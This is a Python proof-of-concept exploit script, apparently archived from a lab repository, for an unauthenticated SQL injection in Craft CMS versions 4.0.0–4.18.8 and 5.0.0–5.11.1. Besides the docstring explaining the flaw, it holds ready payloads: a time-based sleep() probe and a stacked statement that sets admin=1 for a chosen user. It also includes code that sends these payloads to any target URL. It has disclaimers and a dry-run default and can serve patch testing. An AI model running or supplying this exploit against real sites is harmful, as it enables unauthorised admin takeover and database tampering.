#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/dinosn/CVE-2026-123488-CraftCMS-Lab (see README for attribution/license)
"""
CVE-2026-123488 / GHSA-qcvp-ggx3-97r6 — Craft CMS unauthenticated SQL injection.

Vulnerability
-------------
A `search` request parameter sent as a PHP array (bracket params) reaches
Search::normalizeSearchQuery(), where every attacker-supplied key is merged
into the SearchQuery default term options and stamped onto each parsed term.
The `attribute` key flows into Search::_sqlWhere(), which quotes the column
name but interpolates the value into SQL raw. On MySQL/MariaDB, PDO runs with
ATTR_EMULATE_PREPARES=1 (default), so stacked statements execute — an
unauthenticated attacker can read/write any table, including users.admin.

Affected:  Craft CMS 4.0.0 - 4.18.8 and 5.0.0 - 5.11.1
Fixed:     4.18.9 / 5.11.2 (2026-09-17; CVE assigned 2026-11-06)

Modes
-----
--check-url : print the request that would be sent, send nothing (safe default).
--detect    : time-based sleep(N) oracle only — no write.
--exploit   : detection oracle, then a stacked
              `UPDATE <table> SET admin=1 WHERE username='<user>'`.

The injection is validated against an A/B lab (4.18.8 vs 4.18.9) — see README.
Only use against systems you own or are authorized to test.
"""

import argparse
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

DETECT = "x')) or (select sleep({delay})); #"
EXPLOIT = "x')) or 1=1; update {table} set admin=1 where username='{user}'; #"

UA = "Mozilla/5.0 (X11; Linux x86_64) CVE-2026-123488-lab-poc"


def params(payload: str) -> dict:
    return {"search[query]": "hello", "search[attribute]": payload}


def send(url: str, payload: str) -> float:
    full = url + ("&" if "?" in url else "?") + urllib.parse.urlencode(params(payload))
    req = urllib.request.Request(full, headers={"User-Agent": UA})
    t0 = time.time()
    try:
        urllib.request.urlopen(req, timeout=180).read()
    except urllib.error.HTTPError as e:
        e.read()
    except urllib.error.URLError as e:
        print(f"[!] request failed: {e.reason}", file=sys.stderr)
        sys.exit(2)
    return time.time() - t0


def check_url(base: str, delay: int) -> None:
    qs = urllib.parse.urlencode(params(DETECT.format(delay=delay)))
    print(f"[*] would request: {base}{'&' if '?' in base else '?'}{qs}")
    print("[*] dry run — nothing sent")


def run(target: str, delay: int, table: str, user: str, exploit: bool) -> int:
    print(f"[*] detection oracle: {target} (sleep {delay})")
    dt = send(target, DETECT.format(delay=delay))
    if dt < delay:
        print(f"[-] {dt:.2f}s — no delay: not vulnerable (or patched, or no reachable sink)")
        return 1
    print(f"[+] {dt:.2f}s — delay observed (expected >= {delay}s; scales with scanned rows)")
    if not exploit:
        print("[*] --detect: stopping here, nothing written")
        return 0
    stmt = EXPLOIT.format(table=table, user=user)
    print(f"[*] stacked statement: {stmt}")
    send(target, stmt)
    print(f"[+] sent. verify the admin flag directly in the database (users.{user}.admin == 1)")
    return 0


def main() -> int:
    ap = argparse.ArgumentParser(description="CVE-2026-123488 Craft CMS SQLi PoC (lab tool)")
    ap.add_argument("--check-url", metavar="URL", help="print the request and exit (safe default)")
    mode = ap.add_mutually_exclusive_group()
    mode.add_argument("--detect", action="store_true",
                      help="detection oracle only — time-based, no write (default with --target)")
    mode.add_argument("--exploit", action="store_true",
                      help="detection + stacked UPDATE users SET admin=1 (writes!)")
    ap.add_argument("--target", metavar="URL", help="sink URL, e.g. http://host:18080/index.php?p=search")
    ap.add_argument("--delay", type=int, default=3, help="sleep() seconds for the oracle (default: 3)")
    ap.add_argument("--table", default="users", help="users table name incl. prefix (default: users)")
    ap.add_argument("--adminuser", default="admin", help="username to escalate (default: admin)")
    a = ap.parse_args()

    if not a.target and not a.check_url:
        ap.error("give --target or --check-url (dry run)")
    if a.check_url:
        check_url(a.check_url, a.delay)
        return 0
    return run(a.target, a.delay, a.table, a.adminuser, exploit=a.exploit)


if __name__ == "__main__":
    sys.exit(main())
